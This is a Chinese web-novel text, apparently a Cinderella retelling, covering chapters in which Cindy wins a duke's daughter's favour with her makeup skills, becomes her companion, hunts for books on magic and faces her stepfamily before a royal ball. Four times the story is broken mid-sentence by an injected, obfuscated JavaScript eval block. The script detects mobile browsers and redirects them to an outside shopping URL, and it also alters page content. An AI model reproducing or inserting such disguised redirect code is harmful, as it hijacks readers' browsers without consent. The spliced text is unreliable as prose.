公爵府果然不是一般人家可以相比的，宽阔的草坪和高大坚固的建筑都十分气派，辛蒂在心里暗自对比了一下，杜波伊斯府比起亚基亚德府几乎只能算是一个马厩。 辛蒂所在的马车刚到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760610|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口，就看到道路两侧肃立着身着铁甲的侍卫，一架几乎是黄金制成的马车从里面缓缓驶出。 辛蒂几乎立即意识到了这就是这个国家最有权势的男人，国王陛下的仪仗。 出乎辛蒂的意料，国王并不是她想象中的白胡子老头，而是一个五官十分深刻的成熟男性。 辛蒂冒险好奇一瞥，竟然和国王发生了对视，他露出了一个饶有兴致的笑容，辛蒂匆匆低头，不敢再看。 目送国王陛下的马车远去后，一个女仆接待了辛蒂。 不愧是公爵府的女仆，衣着打扮比辛蒂要精致许多，言语间却显得很有素养，没有半点瞧不起商人的女儿的意思。 辛蒂好奇的跟她搭话：“请问刚刚离开的是国王陛下吗？” 女仆轻轻颔首，并无多说的意思。 辛蒂明白对方不愿闲聊，识趣地闭上了嘴巴。 乔瓦娜·亚基亚德的房间很大，辛蒂到的时候好几个女仆围着她，似乎在给她梳妆打扮。 “莉莉娅，你确定这个像树枝一样的东西可以让我的眼睛变得更加深邃吗？” 说话的小姐想必就是乔瓦娜·亚基亚德，她的音色极其柔美，微微上翘的尾音叫人心头发颤，辛蒂几乎能想象出拥有这样美妙嗓音的小姐该是如何的花容月貌了。 转过头来的亚基亚德小姐却让人失望，她并不丑陋，甚至她的五官都十分精致，凑在一起后不知道哪里出了问题，整张脸却显得平平无奇，没有任何特色。 辛蒂掩住眼眸中的诧异之色，轻轻行了一个屈膝礼：“日安，亚基亚德小姐，还有斯科特小姐。” 亚基亚德小姐旁边的莉莉娅·斯科特正是辛蒂在礼仪课的同学，一个看起来相当高傲的贵族小姐。辛蒂想，应该正是这位小姐向亚基亚德推荐了她。 莉莉娅·斯科特看起来有些焦头烂额，她不明白为什么在辛蒂·杜波伊斯手里服服帖帖的小玩意在她这里就这么难以掌控，不是轻了就是重了，让乔瓦娜·亚基亚德本就平庸的脸蛋更添几分滑稽。 辛蒂的到来让她松了口气。她轻抬下巴，示意辛蒂不必多礼：“杜波伊斯小姐，想必你清楚我们请你来这里的用意，请来施展施展你的魔法吧。” 莉莉娅·斯科特本人的性格不像她的名字那样柔和，说话间颇有些呛人，不过对她略有了解的辛蒂知道她并没有恶意，只是风格如此。 亚基亚德小姐则显得温和许多，她客气地表达了希望辛蒂帮她修饰容貌的请求，又说要是达不到期望的效果也没有关系，她们不会为难她。 话虽如此，辛蒂能看出来亚基亚德小姐眼里隐隐期望，辛蒂微微一笑：“两位小姐，我必须要纠正一下你们的观念。我的化妆术不是什么魔法，只是让被遮掩住的美丽重新绽放。” “亚基亚德小姐，请放心好了，我一定让你成为晚宴上最美丽的女士。”亚基亚德身上华美的帝政裙让辛蒂猜测她是在为一场较为重要的晚宴做准备。 8. 女伴 两位小姐都被辛蒂的俏皮话逗乐了，莉莉娅心想，这个杜波伊斯还算会说话，也不知道能不能如她的话一般让表姐变得美丽。 辛蒂发现梳妆台上有整套的化妆品，也就不拿出自己的，正好节省一点。 辛蒂让亚基亚德先把脸上失败的妆容洗去，好在她的皮肤状态很好，没什么瑕疵。 辛蒂边化妆，边给她解说道：“亚基亚德小姐，您的眉毛颜色比较浅，需要加深些才会显得眼睛大。” “您的鼻梁很美丽，不过山根较长，显得比较男性化，用暗色的粉末在这里涂抹一下，视觉上山根就会缩短。” “您的嘴唇很薄，用颜色艳丽些的口红可以弥补这一点，五官也会显得更加协调。” 辛蒂的解释其实她们听得不是很明白，什么山根口红的，但是她娓娓道来的讲述让人感到信服，尤其是在亚基亚德的五官真的在她的手下一点一点从寡淡变得艳丽，真是神奇极了！ 辛蒂的化妆术并不是流水线一般千篇一律的化妆，她会根据各人的面部特征作出针对性的修饰，这样化完后不会让人觉得像是变了个人，而是像她说的那样，绽放出独特的美丽。 乔瓦娜·亚基亚德看着镜中熟悉又陌生的美丽小姐，她的内心不像表面上那样平静，可以说是汹涌澎湃，波涛起伏。 作为公爵的女儿，她平庸的容貌一直饱受诟病。没有人敢当面羞辱她，但是那些私底下的议论，那些怜悯的眼神，还有艰难的婚姻，都像刀子一样凌迟着她的心脏。 她的父亲希望她能和王子结婚，可是王子殿下偏爱美丽的女子，甚至不愿意多看她一眼，国王陛下也不好强求。 乔瓦娜并不喜欢王子，可王子对于联谊直白的拒绝让她感到难堪。王子瞧不上她，王国里其他身份较低的的贵族父亲看不上，这就造成了她尴尬的处境。 乔瓦娜无数次告诉自己，只是皮囊而已，她早晚会找到一个能够欣赏她内在的绅士作为丈夫，可惜事实却是绝大部分男人都相当看中妻子的美貌。 被辛蒂修饰得焕然一新的脸蛋让乔瓦娜感受到了心安，最起码今天的宴会上，没有人会说亚基亚德大公的女儿的容貌配不上她的地位了。 乔瓦娜·亚基亚德对于辛蒂的化妆技术十分满意，她柔声道：“杜波依斯小姐，相信我，你帮助我的远远不止是一副容貌，告诉我，你有什么需求是我可以做到的吗？” 不得不说，现在的亚基亚德小姐更加的匹配她身上的华丽长裙以及镶嵌着硕大蓝宝石的项链了，之前是首饰上戴着一个人，现在则是人戴着首饰。 莉莉娅也很满意辛蒂的表现，不过表姐展现出来的大方还是让她一惊，万一这个商人的女儿十分贪婪，提出什么过分的要求怎么办？要她说给她一些金币或者珠宝作为报酬就可以了。 辛蒂的回答让莉莉娅准备好的斥责咽回了肚子：“亚基亚德小姐，能为您服务是我的荣幸。要是您愿意，我想成为您的女伴，能让蒙尘的明珠散发出美丽的光辉对我来说就是最大的回报了。” 辛蒂不敢居功，能有这样的效果很大一部分原因是亚基亚德小姐本身的基础很好，辛蒂只需要处理一下她那些五官不太融洽的地方，就有了很大的效果。 化妆术毕竟不是真的魔法，没办法让一个真正五官平平的人变成美人。 莉莉娅冷哼一声，这个女孩倒是聪明。 其实她向表姐推荐这个杜波依斯还有一个原因，埃莉诺·杜卡斯请求了她帮助。埃莉诺发现辛蒂缺席了礼仪课的课程后，就意识到她恐怕被她的继母关起来了。 杜卡斯府并不是什么有名有姓的贵族，埃莉诺恐怕她上门也见不到辛蒂，于是请求莉莉娅帮帮这个被继母折磨的女孩。 所以莉莉娅知道以辛蒂的处境，提出成为一位尊贵小姐的女伴寻求庇护对辛蒂而言是再好不过的解决眼下困境的办法。 乔瓦娜·亚基亚德欣赏辛蒂的化妆术，同时被辛蒂湛蓝眼眸中的诚恳之色打动，于是欣然答应了辛蒂的请求。 今天的晚宴对于乔瓦娜·亚基亚德来说的确十分重要，亚基亚德大公在公爵府设宴招待远道而来的阿方索王子殿下。 亚基亚德国王陛下膝下没有公主，所以乔瓦娜·亚基亚德是整个王国里身份最高贵的小姐。 亚基亚德大公希望乔瓦娜能获得阿方索王子的青睐，成为未来的阿方索王后，这对于两国来说具备深远的政治意义。 双方都有联姻的想法，这场晚宴也算是让他们见个面，唯一的变数是阿方索王子恐怕不会满意亚基亚德的容貌。 现在乔瓦娜没有了这样的顾虑，她轻抚自己的脸庞，这副妆容要是能永远不用卸去就好了，可惜杜波依斯小姐嘱咐过，晚上睡觉前必须洗掉，否则会影响原本的肌肤。 晚宴十分顺利，朦胧的灯光下，亚基亚德小姐的美丽容貌更显浑然天成，阿方索王子几乎立即被迷住了。 之前还有人告诉他亚基亚德小姐是出了名的容貌平庸，他打定主意，要是事实真的如此，他也不愿意委屈自己。 更让阿方索王子惊喜的是，亚基亚德小姐不仅比传言中美丽，她的谈吐也十分言之有物，对于他感兴趣的诗歌文学都很有自己的见解，比那些他所熟知的整天只知道谈论珠宝和衣裙的贵族小姐好了不知道多少倍。 阿方索王子觉得自己运气很好，竟然能遇到这样内外兼修，又身份高贵的小姐作为未婚妻，乔瓦娜·亚基亚德也很满意阿方索王子的高大英俊，幽默风趣，于是联姻很顺利地被确定了下来。 亚基亚德国王在得到阿方索王子的感谢时，忍不住挑了挑眉，他以为这门婚事成不了呢。阿方索对乔瓦娜的美貌和聪慧夸了又夸，难道他的眼神不太好？国王记得自己前一天才见过自己这个相貌平平的侄女，或许中间发生了什么有趣的事也不一定。 辛蒂回到杜波伊斯府后，宣布了自己即将成为乔瓦娜·亚基亚德的女伴的消息。莫罗夫人反应平平，并没有辛蒂想象中的剑拔弩张，两个继姐的反应却相当有趣。 她们似乎得到了莫罗夫人的嘱咐，都没有对辛蒂流露出什么仇恨的情绪。 崔希莉亚看起来已经完全忘记了礼仪课的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760611|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不快，缠着她问亚基亚德府上的见闻：“亲爱的辛蒂，快告诉我公爵府长什么样？是传言中那样吃饭的刀叉都是纯金的吗？还有公爵府的小姐，是不是美丽非常，听说她身边有十几个女仆伺候哩！” 阿米莉亚因为名誉受损，现在已经不愿意去礼仪课了，反正现在退出也不影响她参加舞会。她相当看不起崔希莉亚天天围着辛蒂转的样子，却又不敢对辛蒂说什么，只好天天讥讽她的姐姐，弄得姐妹关系十分紧张。 距离辛蒂被邀请去公爵府已经过了好几天，辛蒂却迟迟没有见到来接她去做亚基亚德小姐女伴的马车。 就在阿米莉亚终于要按耐不住嘲讽辛蒂撒谎的时候，亚基亚德府的马车来了，不仅仅是来接辛蒂的，还有一个看起来像是女管家的夫人上门，同时还有许多礼物。 女管家的措辞矜贵又客气：“乔瓦娜·亚基亚德小姐十分感谢辛蒂·杜波伊斯小姐的帮助，特意命我前来感谢。另外，亚基亚德小姐希望杜波伊斯小姐能成为她的女伴，在她远嫁到阿卡索王国之前协助她的服饰妆发。” 女管家并无询问的意思，在她看来，公爵小姐的女伴至少是侯爵家的小姐，一个商人之女能有这样的荣幸，岂容她们拒绝？ 莫罗夫人温顺地点头，没有提出任何异议。 辛蒂看着继母柔美的侧颜，总觉得她在酝酿着什么坏主意，随即她被两个继姐低低的惊呼吸引了注意力。 “多么精美的陶器和象牙！” 公爵府的礼物十分豪奢，金银珠宝无一不有，最珍贵的还是来自古老东方的瓷器，那是个青花瓷瓶，放到现代估计能值好几个亿。 辛蒂心知这些礼物都会被继母收进库房，不会给她，只看了几眼就转开了视线，在女管家的催促下坐上了马车。 乔瓦娜·亚基亚德十分愧疚自己拖了这么多天，辛蒂一到她就拉住辛蒂的手：“亲爱的辛蒂，因为和阿卡索王子订婚的缘故，最近我实在是忙碌极了，不小心忘记了女伴的事，请你原谅我。” 辛蒂注意到亚基亚德小姐现在是带妆的，她的妆容和辛蒂之前给她化的几乎没有什么差别。 怪不得亚基亚德小姐不急着找她，原来是身边已经有能干的女仆学会了她的化妆手法，严格来说，乔瓦娜·亚基亚德现在已经不需要她了，却还是给了她女伴的殊荣。 辛蒂不着痕迹的观察几瞬后，委婉地表达了自己毫无怨恨的意思。化妆手法并不难，难的是化妆品的制作，她一开始也没有想着依靠自己的化妆术让亚基亚德小姐依靠她。 乔瓦娜·亚基亚德展颜一笑：“那就好，以后请叫我乔瓦娜吧。” 随即乔瓦娜向她介绍了她另外的女伴，侯爵的女儿捷琳娜·里德以及伯爵的女儿罗莎·洛佩斯，还有之前辛蒂见过的莉莉娅·斯科特。 乔瓦娜喜欢安静，所以她的女伴数量很少，据说很多大贵族的夫人一般都有十几位女伴随侍在侧。 辛蒂注意到那位捷琳娜·里德小姐似乎对她有些敌意，在她对乔瓦娜的妆容提出意见的时候频频呛声，引得乔瓦娜都皱起了眉头。 9. 书房 “捷琳娜，你今天是否身体不适？或许可以早些回房间休息。” 捷琳娜·里德并没有领会到乔瓦娜的不满，她颇有些针锋相对：“我很好，倒是杜波伊斯，听说你在家的时候常常和老鼠相伴，不知道来公爵府之前是否洗干净了？” “要是带来了什么病菌，让乔瓦娜生病就不好了。” 这样的话对于一个小姐来说无疑是一种羞辱，乔瓦娜沉下脸：“够了！捷琳娜，你太过分了！” 捷琳娜没想到乔瓦娜竟然这样护着这个商人的女儿，一时间又羞又恼，负气跑出了房间。 莉莉娅·斯科特跟辛蒂咬耳朵：“乔瓦娜耳根太软了，以至于什么人都能骑到她的头上去。你不必在意捷琳娜，做好自己的事就行。” 辛蒂很淡定，这样的事她见得多了。小女生争风吃醋么，她以前的同学最爱搞这种小团体，排挤后来加入的人。 她以前不懂事，排挤过别人，也被别人排挤过，现在竟然有些怀念那些最大的烦恼是好朋友被别的女孩子抢走的时光。 辛蒂现在没有了那种可以随便任性的资本，换做是以前她不会理会捷琳娜·里德，现在的她找了个借口离开房间，询问几个女仆后成功找到了正在花园里抹眼泪的捷琳娜。 “里德小姐，”辛蒂轻声道，“诚如您想的那样，我只是一个商人的女儿，对于亚基亚德小姐而言，我只是一个好用的工具，您却是她最忠诚的朋友，实在不必因为我妨害了您和亚基亚德小姐的友情。” 捷琳娜·里德确实因为今天乔瓦娜和辛蒂频繁的交流吃味，以往乔瓦娜最喜欢跟她聊天，今天却跟辛蒂说个不停，让她产生了危机感。她红着眼睛，觑了这个她瞧不起的女孩一眼，她还算有自知之明。 里德小姐似乎认同了她的话，辛蒂继续柔声道：“里德小姐，亚基亚德小姐很担心您，快回去吧。” 捷琳娜·里德离开房间后，乔瓦娜嘴上不说，眼神却频频往门口张望，显然是放心不下她。 捷琳娜听了辛蒂的话，轻哼一声，她不想让乔瓦娜忧虑，于是昂着脖子拎起裙子准备离开。 辛蒂拉住她的手：“里德小姐，你这样亚基亚德小姐会担心的，我刚刚向女仆要了些冰块，或许你可以冷敷一下。” 最后捷琳娜和辛蒂一起回到了房间，乔瓦娜很惊讶，并没有多说什么，只是招呼她们吃下午茶。捷琳娜后面也不再针对辛蒂，气氛变得和睦了起来。 疲惫的一天终于结束了，辛蒂拒绝了乔瓦娜让她住在公爵府的邀请，只说杜波伊斯府不算远，她可以每天早去早回。 善良的乔瓦娜担心她被继母欺负，不过见辛蒂坚持，也就不再多说。 回到杜波伊斯府的辛蒂没力气和莫罗夫人以及两个继姐纠缠，直接回到了自己的小阁楼，她把头埋在女仆珍妮柔软的怀抱里，这一天真累啊。 她不仅要为乔瓦娜不同的场景设计不同的妆容，还要为她搭配相应的服饰。值得一提的是，辛蒂在配色上的独到眼光让乔瓦娜惊喜不已，直呼为什么没有早点遇到她，惹得捷琳娜频频向她甩眼刀子，辛蒂只好把话题往其他人身上引，尽量不叫任何人觉得自己受到了冷落。 这样左右逢源的本事还是辛蒂在以前过年时候的家庭聚会上学到的，那时候主要是为了满足妈妈的要求，成为一个让所有长辈都喜爱的孩子。 不过好在除了捷琳娜有点小脾气，善良的乔瓦娜自然不必说，莉莉娅很直爽，罗莎是个相当温柔可亲的小姐，搞定了捷琳娜，辛蒂的女伴生活还算顺利。 辛蒂在心里合计着，女仆珍妮看着女孩紧紧皱在一起的眉毛，无声的叹了口气，语气尽量上扬：“辛蒂小姐，我有一个好消息要告诉你！我们的化妆品工坊已经找到合适的地址了。” 辛蒂果然被这个好消息吸引了注意：“哦珍妮，你不会是在逗我开心吧？” 昨天珍妮告诉辛蒂，恐怕很难在城区找到合适的位置建立工坊，她们那160枚金币根本不够，毕竟还要考虑原料和人工成本。辛蒂只好拜托珍妮看看在郊区能不能找到合适的地方，没想到今天就有了好消息。 珍妮点点头：“天主保佑，我今天刚到戈恩地区，就遇到一个乡绅想要卖出他的土地来得到一些活钱做生意哩。我看过了，那块地方临河，正适合建工坊，我们还能在周围的村子里招募女工。” 珍妮口中这一切都顺利地不可思议，当然她不会告诉辛蒂她和托马斯走了多久的路，又拜访了多少人，受到了多少白眼和刁难。 “我和那位乡绅约定了明天去签订过户的协议，辛蒂小姐，你真的要让这块土地落在我的名下吗？” 辛蒂点点头，她看着珍妮：“目前我的名下不适合持有资产，一旦詹姆斯或者莫罗夫人发现，我们的一切努力都会像雪花一样消融。而且我相信你，亲爱的珍妮。” 相处了这么些年，珍妮对于辛蒂而言早已是家人一般的存在，况且这些金币也是珍妮带回来的，辛蒂相信珍妮是可靠的。 化妆品工坊的建立算是辛蒂计划中的第一步，她的目标是掏空每一位小姐的钱包，打造一个庞大的美妆帝国。 当然，辛蒂没有忘记她的魔法书，和金币一样，这也是她想要获得的力量。 辛蒂有些发愁，不知道王国有没有图书馆呢？回头找埃莉诺打听一下，想到埃莉诺，她要找个机会向她道谢呢，她今天刚刚知道原来是埃莉诺帮她求助了莉莉娅，这才有了她到乔瓦娜身边的机会。 不过后来数周辛蒂都没有时间找埃莉诺，原因是她找到了记载着魔法文字的书籍！ 事情是这样的，某天辛蒂准备去公爵府的大书房找一本《海岸手记》，听名字似乎是一本描述海边生活的游记，乔瓦娜很喜欢看这些描述外面世界的书籍。 找书原本是女伴罗莎的工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760612|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不过那天恰好罗莎不在，她在前一天拜托了辛蒂第二天务必要找到这本书给乔瓦娜。 不过这也不算是什么复杂的事，她只需要跟着带路的女仆走到书房，告诉书房的女仆她需要什么书籍，略坐一会，喝上几口红茶，她想要的东西就会送到她的手上。 辛蒂一边走一边想着不知道她之前跟裁缝小姐描述的改良旗袍能不能做出来，乔瓦娜很适合旗袍，该有的地方都有，身上还有着浓郁的书卷气，她穿旗袍一定很美丽。 不过，她不知道这种衣服适不适合在正式场合穿着，做出来只是为了为无聊的女伴生活增加一点趣味，公爵府不差这点金币。 正胡思乱想着，书房到了，女仆为辛蒂打开面前那扇纹饰异常繁复的雕花大门，眼前的场景让辛蒂几乎忘了呼吸。 考虑到有专门的女仆进行打理，辛蒂已经尽量想象书房的壮观藏书了，可是亲眼看到这个近30米高，百米长的空间时，辛蒂还是被震撼到了。 这是一个圆柱形的房间，辛蒂想到她在庄园外看到的高大的尖顶建筑想必就是这里了。房间周围书架沿墙排列，高达数层。穹顶和墙壁上布满壁画，辛蒂只认出来天使、女神之类的形象，可以看出来绘画水平极高。 阳光从彩色的窗户里照进来，在地上映照出一片流动的斑斓之色，穹顶的壁画在阳光下愈发恢弘，少女呆呆地仰望着壁画上的神祗，阳光冲刷掉了她脸上的那些刻意的伪装，显示出她本身宛如雕塑一般完美的容貌，这一刻的她，如同洗去了尘埃的珍珠一般动人。 直到女仆慌乱的声音响起：“日安，国王陛下。” 辛蒂回过神来，果然看到半空的回廊上慵懒依靠着的亚基亚德国王，他显然是在此阅读，被辛蒂的到来吸引了注意力。 辛蒂也低头行礼，阳光从她的脸上消失，她再次变成了那个五官姣好却并不让人感到惊艳的女伴。 亚基亚德国王轻轻颔首，示意她们自便，带着书离开了书房。 辛蒂无暇关注国王陛下，她的心里只有这满屋子的书籍，这里恐怕得有十万本书吧？这么丰富的藏书量，她想她一定能从里面找到她想要的关于魔法文字的书籍。 很快辛蒂带着乔瓦娜想要的《海岸手记》回到了起居室，她用夸张的言辞和浮夸的表情渲染了一番她在书房的见闻，逗得乔瓦娜直笑。 莉莉娅一副与有荣焉的表情：“公爵府的藏书可是整个王国最多的，就连国王陛下也常常到公爵府来看书呢！” 辛蒂了然，怪不得她老是能在公爵府遇到亚基亚德国王，他怎么有这么多时间用于阅读，看来工作量不太饱和。 既然说到了国王陛下，辛蒂便提了提她遇到亚基亚德国王的事，没想到乔瓦娜闻言皱起了眉头。 “这我倒忘了，辛蒂，罗莎没有告诉你下午三点前最好不要去书房吗？国王陛下不喜欢在看书的时候被人打扰。” 10. 阴差阳错 辛蒂心中一凛，面上作出惶恐不安的表情，呆呆地摇了摇头。 乔瓦娜又看了辛蒂几眼，她似乎确实不知道这件事，乔瓦娜摇摇头，觉得自己应该是想多了，辛蒂不像是那些处心积虑想要接近国王的女人。 不过她认为罗莎是一个相当细心的姑娘，一定不会忘记叮嘱这些注意事项，有可能是辛蒂忘记了。 乔瓦娜拿过辛蒂还攥在手里的《海岸手记》，安抚性的微微一笑：“没事，大概是罗莎忘记了。哦对了，亲爱的辛蒂，你似乎对阅读有些兴趣，书房的大门为你敞开，你随时可以借阅书籍。” 乔瓦娜本身就是爱读书的人，她欣赏所有喜爱书本的小姐，可惜三个女伴都对此兴趣缺缺，辛蒂表现出来的热情让她感到高兴。另外这也可以试探辛蒂是否真的无意接近国王，她不允许自己的女伴做出让自己蒙羞的行为。 乔瓦娜的优待又让捷琳娜不舒服了：“商人的女儿能认识多少单词？恐怕她连最简单的《梅根诗集》都看不懂。”《梅根诗集》是一本幼儿启蒙读物，里面的文字都十分基础。 没等乔瓦娜说话，辛蒂做出一副十分羞愧的表情：“我确实不认识几个单词，莫罗夫人不愿意给我请家庭教师。” 闻言在座的小姐纷纷以谴责的目光看向捷琳娜，她们都知道辛蒂有一个十分恶毒的继母。捷琳娜脸色一僵，她不是这个意思，但是她又不知道应该如何辩解。 辛蒂给了她一个不算台阶的台阶：“里德小姐，多谢你的关心，或许你愿意教我多认识几个单词，好让我不至于使乔瓦娜蒙羞。” 辛蒂确实认识的单词不算多，这个时代的语言跟她以前学过的英语有一定的区别，她算是一个半文盲，她之前通过杜波伊斯府里的书籍自学了一部分，不过还是远远不够。 捷琳娜的神色更加僵硬了，乔瓦娜却觉得这是一个再好不过的主意，可以锻炼一下捷琳娜的耐心，立即替她同意了。 乔瓦娜特意嘱咐捷琳娜每天在她上绘画课的时候，捷琳娜可以为辛蒂上课，捷琳娜一开始还很勉强，辛蒂是个十分聪明好学的学生，捷琳娜逐步感受到了老师的乐趣，竟然渐渐开始乐在其中。 在这个过程中，辛蒂有了充足的理由可以经常到公爵府的书房找书，不过她严格恪守了下午三点前不要去书房这个规律，果然再也没有遇到过亚基亚德国王。 辛蒂在女仆的帮助下大致弄明白了这些书籍的分区，又在语言类书籍的分区里成功找到了和她得到的那本破旧魔法书上的文字类似的书籍。 乔瓦娜听女仆说辛蒂借阅了几本十分晦涩的书后，颇有些担忧：“亲爱的辛蒂，你是个聪明的姑娘，想必清楚一步一个脚印的道理，我想你之前借阅的书籍对于你而言是否有些过于难懂呢？” 辛蒂对于乔瓦娜温柔的嘱咐很是感动，她乖巧地眨巴眨巴眼睛：“是的乔瓦娜，那些书我根本看不懂，我想我不久后就会还回去了。” 还回去是不可能还回去的，至少要等她抄完。不过她这么说乔瓦娜也不会深究，果然乔瓦娜看到辛蒂听劝，高兴地点点头，又说起了别的事情。 乔瓦娜还有半年就要离开亚基亚德王国，成为阿方索王子的妻子了。不过她并不忙碌，尤其是在阿方索王子回国后，她每天只需要上上课、喝喝下午茶就行了，那些婚礼的准备自然有女仆处理。 辛蒂却没有乔瓦娜那么悠闲，她需要在女伴工作的闲暇之余跟着捷琳娜学习语言，每天回到杜波伊斯府后还要操心化妆品工坊的事以及钻研深奥难懂的魔法文字。 她每天的时间都排得满满的，几乎分身乏术，不过辛蒂很满意现在的生活状态，比她之前明知道前路黯淡却无所事事只能干着急的要好得多。 辛蒂如今最大的烦恼就是魔法书的文字实在是太难懂了，她花了那么多时间，几乎只弄清楚了原来这种文字竟然是希腊文。也难怪她不认识，亚基亚德王国的主流语言是英语，上层贵族会学习拉丁文在宗教仪式等场合使用，希腊文实在是太冷门了。 而且辛蒂找到的那几本希腊文的书籍都都词典无关，她也不大可能突然表现出对于希腊文的兴趣，一个连拉丁文都不会的小姐突然想要学习没什么用处的希腊文，这太诡异了。 辛蒂只能计划等她的化妆品工坊挣钱以后，想办法给自己找一个希腊文的老师，靠她自己的脑瓜子以及这几本并不基础的希腊文书籍，她并不认为自己能学会这门生涩的语言。 或许是察觉到了辛蒂在阅读魔法书上存在的障碍，小白鸟后续又出现了一次。 这次辛蒂没有了甜蜜的葡萄，只好用涂满了蜂蜜的面包招待它。 小白鸟吃饱喝足后开始梳理羽毛，辛蒂的脑海里响起了一个难以辨别男女和年龄的声音： “贪心的辛蒂，要是你放弃学习魔法，我还是愿意按照计划的那样为你提供你需要的一切，你会成为王子的妻子，过上幸福快乐的生活。” 辛蒂精神一振，原来这个世界真的可以有魔法！ 因为魔法书研究无果，她也从未从周围人的口中察觉到过任何可能有魔法痕迹的事物，辛蒂常常会怀疑魔法是否真的存在，毕竟那本书她一个字都不认识，叫它魔法书只是自己一厢情愿，万一封面的单词是《论母猪的产后护理》呢？ 现在辛蒂放心了，她想要的魔法真的是存在的，不过她还要更努力些才能打开那扇大门。 小白鸟察觉到了辛蒂内心的想法，只觉得她死性不改，老老实实跟着剧情走不好吗？非要折腾什么魔法，现成的捷径不走，也不知道怎么想的，它又劝了劝辛蒂，仍然被拒绝了，只好摇摇头飞走了。 辛蒂没有动摇，更没有任何后悔，她虽然从小到大最大的愿望就是不劳而获，不过现实的教训让她明白不劳而获是不存在的，代价或早或晚，虽迟但到。 幼儿园的时候骗到了同伴小朋友的棒棒糖，回家后就喜提一顿男女混合双打；父母离婚后对她物质上的大方，都是对她情感上的代偿。 时间在辛蒂的忙碌中来到了王子的舞会的那一天。 乔瓦娜已经有了十分满意的婚约，并不愿意参加这样的联谊舞会，以免让自己来之不易的婚事发生波澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760613|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但是她很鼓励女伴们参加。 “姑娘们，这次舞会几乎聚齐了整个王国所有的单身绅士，希望你们也能在其中找到心仪的结婚对象。” “另外，我替你们准备了美丽的裙子和珠宝，也算是你们陪伴了我这么久的礼物。” 乔瓦娜俏皮地眨眨眼，她一向庄重自持，很少露出这样“不稳重”的表情，可见她是真心将女伴们当作自己的朋友。 乔瓦娜还找了个无人的空档，悄悄嘱咐辛蒂道：“亲爱的辛蒂，我知道你一向都遮掩着自己的美貌，或许在舞会上大方展现出自己的美丽，找一个好人结婚能让你脱离目前的困境。” 乔瓦娜是真心提辛蒂着想，可惜辛蒂却不能这样办，她打定主意把自己遮得严严实实的，杜绝任何可能被王子看上的机会。 辛蒂带着乔瓦娜送的裙子和珠宝回到杜波伊斯府，这条裙子让辛蒂感到意外极了，这竟然是一条融合了旗袍元素的晚礼服。 就像当时辛蒂向裁缝描述的那样，领口采用了立领和盘扣的设计，无袖设计的肩膀处有珍珠串装饰，下部分是开叉到大腿的修身长裙，侧面有层叠的荷叶边作为装饰，实在是美丽极了。 比起裙子，珠宝倒是中规中矩，很适合辛蒂商人女儿的身份。 辛蒂爱惜地抚摸着这条裙子，她原本想着给机会让继母使坏，让她们破坏掉这条裙子作为自己不能参加舞会的理由，现在她改变了主意。 辛蒂把有着公爵府标识的箱子放在房间的显眼处，把里面的裙子替换成了她早已准备好的另外的礼服。 随即她离开了房间，足足等了一个小时，回到房间后果然发现裙子已经被剪坏了。 辛蒂拿着被剪坏的裙子怒气冲冲地来到起居室，莫罗夫人和她的继姐们正在相互整理彼此的着装，俨然是准备出门参加舞会去了。 莫罗夫人看到辛蒂手里破碎的布料，心知这是阿米莉亚的手笔，西尔维娅可没那个心眼。 她理理裙子，佯作惊讶：“可怜的辛蒂，这莫非是亚基亚德小姐送给你的参加舞会的裙子，怎么弄成了这个样子？” 西尔维亚脸上是不作伪的惊讶，而阿米莉娅的眼底闪过一丝心虚。 “除了你们还有谁会弄坏我的裙子？”辛蒂白皙的脸蛋涨的通红，显然气愤极了。 继母收敛住眼里的笑意：“西尔维亚和阿米莉娅可不会做这种坏事，我以为你已经因为愤怒失去了理智，走吧，姑娘们，无需理会可怜的辛杜瑞拉。” 辛蒂知道她跟她们争论下去讨不到任何好处，狠狠地瞪了阿米莉娅一眼，转身匆匆离开了起居室。 阿米莉娅得意极了：“妈妈，你看她那个样子！说不定她还要去找珍妮帮她缝补一番呢，可惜等她补好裙子，舞会都结束了。” 